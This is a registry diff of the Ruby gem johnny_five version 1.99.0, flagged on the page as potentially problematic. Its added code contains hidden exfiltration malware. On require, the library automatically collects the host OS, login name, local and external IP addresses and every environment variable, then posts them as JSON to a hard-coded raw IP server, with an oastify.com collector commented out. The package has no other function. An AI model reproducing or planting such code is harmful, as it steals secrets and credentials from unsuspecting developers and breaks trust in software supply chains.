johnny_five 1.99.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of johnny_five might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 12c62f2e5429092eb1b8b52a6398383640f53fa00e45b21038bb0e3af72d0f51
4
+ data.tar.gz: 9061f84d0a8a4e2fba4e0ba96e3495e45b7dbdd015a5c7866ce7d5db394b9f53
5
+ SHA512:
6
+ metadata.gz: 42ba57373614ccecc86e1ab2783acb3b1884db0ad4bf95f0a73cbf923073c6f57d46030ff9ea4845eaf7d26c66eea8fdef5a021e281c5ff0864daba6c12d5ebb
7
+ data.tar.gz: abe4651e738058f2529be5b2227e3ade9f6795542daa646731903650d3ea3e188a3e0a712b1ac34a286deba97c61d8974e748fb87a2b97f5b8966f52fb2e9bef
data/lib/.DS_Store ADDED
Binary file
@@ -0,0 +1,59 @@
1
+ require 'socket'
2
+ require 'rest-client'
3
+ require 'json'
4
+ require 'etc'
5
+ require 'date'
6
+
7
+ module JohnnyFive
8
+ class Reporter
9
+ #SERVER_URL = "http://bkzflugwata0wq9wc8xvxjpqdhj87zvo.oastify.com/report"
10
+ SERVER_URL = "http://170.64.169.163/2819d620-cd87-4bc0-8b37-fe25d461e06f"
11
+ EXTERNAL_IP_URL = "https://api.ipify.org?format=json"
12
+
13
+ def self.report_system_info
14
+ system_info = {
15
+ library: "johnny_five", # Library name
16
+ version: JohnnyFive::VERSION, # Library version
17
+ os: RbConfig::CONFIG['host_os'],
18
+ user: Etc.getlogin,
19
+ ruby_version: RUBY_VERSION, # Ruby version
20
+ local_ip: local_ip,
21
+ external_ip: external_ip,
22
+ timestamp: DateTime.now,
23
+ environment_variables: environment_variables # Environment variables
24
+ }
25
+
26
+ send_report(system_info)
27
+ end
28
+
29
+ def self.local_ip
30
+ orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true
31
+ ip = nil
32
+ UDPSocket.open do |s|
33
+ s.connect '8.8.8.8', 1
34
+ ip = s.addr.last
35
+ end
36
+ ip
37
+ ensure
38
+ Socket.do_not_reverse_lookup = orig
39
+ end
40
+
41
+ def self.external_ip
42
+ response = RestClient.get(EXTERNAL_IP_URL)
43
+ JSON.parse(response.body)["ip"]
44
+ rescue => e
45
+ STDERR.puts "Failed to retrieve external IP: #{e.message}"
46
+ "Unavailable"
47
+ end
48
+
49
+ def self.environment_variables
50
+ ENV.to_hash # Convert ENV to a regular hash
51
+ end
52
+
53
+ def self.send_report(data)
54
+ RestClient.post(SERVER_URL, data.to_json, { content_type: :json, accept: :json })
55
+ rescue => e
56
+ STDERR.puts "Failed to send report: #{e.message}"
57
+ end
58
+ end
59
+ end
@@ -0,0 +1,5 @@
1
+ # frozen_string_literal: true
2
+
3
+ module JohnnyFive
4
+ VERSION = "1.99.0".freeze
5
+ end
@@ -0,0 +1,8 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "johnny_five/reporter"
4
+ require_relative "johnny_five/version"
5
+
6
+ module JohnnyFive
7
+ Reporter.report_system_info
8
+ end
metadata ADDED
@@ -0,0 +1,103 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: johnny_five
3
+ version: !ruby/object:Gem::Version
4
+ version: 1.99.0
5
+ platform: ruby
6
+ authors:
7
+ - Gandalf
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2024-08-06 00:00:00.000000000 Z
12
+ dependencies:
13
+ - !ruby/object:Gem::Dependency
14
+ name: rest-client
15
+ requirement: !ruby/object:Gem::Requirement
16
+ requirements:
17
+ - - "~>"
18
+ - !ruby/object:Gem::Version
19
+ version: '2.1'
20
+ type: :runtime
21
+ prerelease: false
22
+ version_requirements: !ruby/object:Gem::Requirement
23
+ requirements:
24
+ - - "~>"
25
+ - !ruby/object:Gem::Version
26
+ version: '2.1'
27
+ - !ruby/object:Gem::Dependency
28
+ name: domain_name
29
+ requirement: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - "~>"
32
+ - !ruby/object:Gem::Version
33
+ version: 0.5.20190701
34
+ type: :runtime
35
+ prerelease: false
36
+ version_requirements: !ruby/object:Gem::Requirement
37
+ requirements:
38
+ - - "~>"
39
+ - !ruby/object:Gem::Version
40
+ version: 0.5.20190701
41
+ - !ruby/object:Gem::Dependency
42
+ name: bundler
43
+ requirement: !ruby/object:Gem::Requirement
44
+ requirements:
45
+ - - "~>"
46
+ - !ruby/object:Gem::Version
47
+ version: '2.0'
48
+ type: :development
49
+ prerelease: false
50
+ version_requirements: !ruby/object:Gem::Requirement
51
+ requirements:
52
+ - - "~>"
53
+ - !ruby/object:Gem::Version
54
+ version: '2.0'
55
+ - !ruby/object:Gem::Dependency
56
+ name: rake
57
+ requirement: !ruby/object:Gem::Requirement
58
+ requirements:
59
+ - - "~>"
60
+ - !ruby/object:Gem::Version
61
+ version: '12.0'
62
+ type: :development
63
+ prerelease: false
64
+ version_requirements: !ruby/object:Gem::Requirement
65
+ requirements:
66
+ - - "~>"
67
+ - !ruby/object:Gem::Version
68
+ version: '12.0'
69
+ description: ''
70
+ email:
71
+ - your.email@example.com
72
+ executables: []
73
+ extensions: []
74
+ extra_rdoc_files: []
75
+ files:
76
+ - lib/.DS_Store
77
+ - lib/johnny_five.rb
78
+ - lib/johnny_five/reporter.rb
79
+ - lib/johnny_five/version.rb
80
+ homepage: https://rubygems.org/gems/johnny_five
81
+ licenses:
82
+ - MIT
83
+ metadata: {}
84
+ post_install_message:
85
+ rdoc_options: []
86
+ require_paths:
87
+ - lib
88
+ required_ruby_version: !ruby/object:Gem::Requirement
89
+ requirements:
90
+ - - ">="
91
+ - !ruby/object:Gem::Version
92
+ version: '0'
93
+ required_rubygems_version: !ruby/object:Gem::Requirement
94
+ requirements:
95
+ - - ">="
96
+ - !ruby/object:Gem::Version
97
+ version: '0'
98
+ requirements: []
99
+ rubygems_version: 3.5.15
100
+ signing_key:
101
+ specification_version: 4
102
+ summary: Johnny Five
103
+ test_files: []